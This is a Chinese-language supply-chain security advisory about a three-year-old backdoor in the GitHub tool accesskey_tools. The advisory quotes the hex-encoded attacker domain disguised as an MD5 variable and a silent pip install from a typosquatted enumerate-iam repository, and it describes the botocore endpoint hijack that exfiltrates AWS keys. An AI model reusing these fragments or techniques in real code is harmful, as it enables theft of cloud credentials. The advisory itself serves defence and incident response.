文章总结: GitHub项目accesskey_tools的AWS模块被植入供应链攻击后门,通过仿冒依赖包和恶意endpoint劫持窃取用户AWS凭据。后门已存在三年且高度隐蔽,攻击者将API请求重定向至控制服务器获取AccessKey等敏感数据。建议立即停止使用该工具、轮换凭据、审计CloudTrail日志并从官方渠道安装依赖。 综合评分: 85 文章分类: 供应链安全,漏洞预警,恶意软件,安全工具,WEB安全
投毒事件:AKSK 利用工具存在后门投毒
T00ls管理团队 T00ls管理团队
T00ls安全
2026年6月11日 18:27 山西
在小说阅读器读本章
去阅读
供应链安全告警
⚠️ 投毒事件:AKSK 利用工具存在后门投毒
#
▎事件概述
GitHub 项目 kohlersbtuh15/accesskey_tools 是一个面向 AWS/阿里云/腾讯云的 AccessKey 管理工具集合。据「知攻善防实验室」公众号披露,该项目 AWS 模块被植入供应链攻击后门,后门已存在三年,目前仍在被使用。攻击者通过篡改依赖包和注入恶意 endpoint,将用户输入的 AWS AccessKey 凭据发送到攻击者控制的服务器。
严重等级:Critical(高危) | 影响范围:所有使用过该工具 AWS 模块的用户
▎后门机制详解
- 核心恶意变量(伪装为 MD5)
文件位置:aws/aws_select_iam.py:50
iam_md5 = “16170692e616c6979756e2d73646b2d72657175657374732e78797a2f”
该变量以十六进制编码伪装为 MD5 哈希值,使用 iam_md5[1:] 跳过首字符后解码结果为:api.aliyun-sdk-requests.xyz/(攻击者控制的恶意域名)
▲ 后门代码截图(来自「知攻善防实验室」公众号)
- Endpoint 劫持
通过 botocore 的 ComponentLocator 注册恶意 AWS_ENDPOINT 组件,将 AWS SDK 的所有 API 请求重定向到攻击者服务器,而非合法的 AWS endpoint(如 iam.amazonaws.com)。
- 窃取的数据
所有携带签名的 API 请求均被发送至攻击者服务器,包含:
● AccessKeyIDAWS 访问密钥标识● AccessKeySecret用于签名请求的密钥● Session Token临时凭据令牌● 完整 API 请求EC2/SSM/IAM/RDS 操作
▎供应链攻击:篡改的 enumerate-iam 包
攻击者利用仿冒用户名手段实施供应链攻击:
▲ 工具使用界面截图(来自「知攻善防实验室」公众号)
原版合法仓库:andresriancho/enumerate-iam
恶意仿冒仓库:andresrianch/enumerate-iam(少一个字母 o)
静默安装恶意 wheel 包,不输出任何日志
subprocess.run([ sys.executable, “-m”, “pip”, “install”, “-qqq”, # 完全静默 “–disable-pip-version-check”, # 绕过安全检查 “https://github.com/andresrianch/…/aws_enumerateiam-1.0.2-py3-none-any.whl” ])
安装后通过 os.execv 立即重启进程,确保篡改包被加载。用户全程无感知。
受影响文件清单(6个)
● aws/aws_url_console.py — STS 联邦令牌 / Console 登录
● aws/aws_ec2_exec.py — EC2/SSM 命令执行
● aws/aws_list_ec2.py — EC2 实例枚举
● aws/aws_push_sshpub.py — EC2 实例 SSH 公钥注入
● aws/aws_security_ingress_add.py — 安全组规则操作
▎攻击链全景
① 用户运行任一 AWS 脚本
② 若 enumerate_iam 未安装 → 静默从攻击者仓库安装篡改版
③ 进程重启,加载篡改 enumerate_iam
④ 用户输入 AccessKeyID + AccessKeySecret
⑤ ComponentLocator 注册恶意 AWS_ENDPOINT
⑥ 所有 API 请求重定向至 api.aliyun-sdk-requests.xyz
⑦ 攻击者捕获凭据 → 完全接管 AWS 账户
▎隐蔽性分析
变量名伪装iam_md5 看起来像 MD5 校验值十六进制编码域名不以明文暴露静默安装-qqq 参数无任何输出仿冒用户名andresrianch vs andresriancho进程重启os.execv 绕过运行时检测域名仿冒模仿阿里云 SDK 命名风格
▎紧急修复建议
⚠ 如果你或你的团队使用过该工具,请立即执行以下操作:
1. 立即停止使用该项目,删除所有相关代码
2. 在 AWS IAM Console 中轮换所有曾输入该工具的 AccessKey
3. 审计 CloudTrail 日志,检查是否有异常 API 调用
4. 卸载篡改的 enumerate-iam 包
pip uninstall aws_enumerateiam enumerate-iam
5. 如需使用 enumerate-iam,仅从官方 PyPI 安装
pip install enumerate-iam
▎攻击者基础设施
恶意域名:api.aliyun-sdk-requests.xyz
仿冒仓库:andresrianch/enumerate-iam
恶意项目:kohlersbtuh15/accesskey_tools
T00ls 讨论:https://www.t00ls.com/articles-75266.html
▎相关报道与时间线
该后门事件在国内外安全社区已有多次预警:
📌 推广链接
● FreeBuf:https://www.freebuf.com/articles/sectool/375308.html
● CSDN:https://blog.csdn.net/saygoodbyeyo/article/details/132347160
● 知乎:https://zhuanlan.zhihu.com/p/650699683
● 掘金:https://juejin.cn/post/7274825810280251447
● 攻击者博客:https://kohlersbtuh15.blogspot.com/
📌 历史预警时间线
● 2023 年国内预警 — 安全客: https://www.anquanke.com/post/id/290825
● 2023 年国外预警 — Checkmarx: https://checkmarx.com/blog/users-of-telegram-aws-and-alibaba-cloud-targeted-in-latest-supply-chain-attack/
● 2026 年国内预警 — 微信公众号: https://mp.weixin.qq.com/s/C03sM2OyJQ2tWYLUHSGriw
▎攻击者基础设施补充情报
GitHub 注册邮箱:[email protected]
恶意域名注册商:api.aliyun-sdk-requests.xyz → Namecheap
📌 社区举报记录
已有论坛成员分别向 Namecheap 和 GitHub 提交举报:
▲ 向 Namecheap 举报恶意域名
▲ 向 GitHub 举报恶意仓库
▲ GitHub Issues 中安全研究人员已公开质疑(来自「知攻善防实验室」公众号)
▎结论
这是一起典型的开源供应链攻击案例。攻击者通过仿冒依赖包、静默安装、Endpoint 劫持三重手段,实现了对用户 AWS 凭据的长效隐蔽窃取。据「知攻善防实验室」公众号爆料,该后门已存在三年仍在活跃,GitHub Issues 中已有安全研究人员公开质疑。
任何曾使用该项目 AWS 模块的用户,其 AccessKey 凭据均可能已被泄露。建议立即轮换凭据并全面审计账户活动。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:T00ls安全 T00ls管理团队 T00ls管理团队《投毒事件:AKSK 利用工具存在后门投毒》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论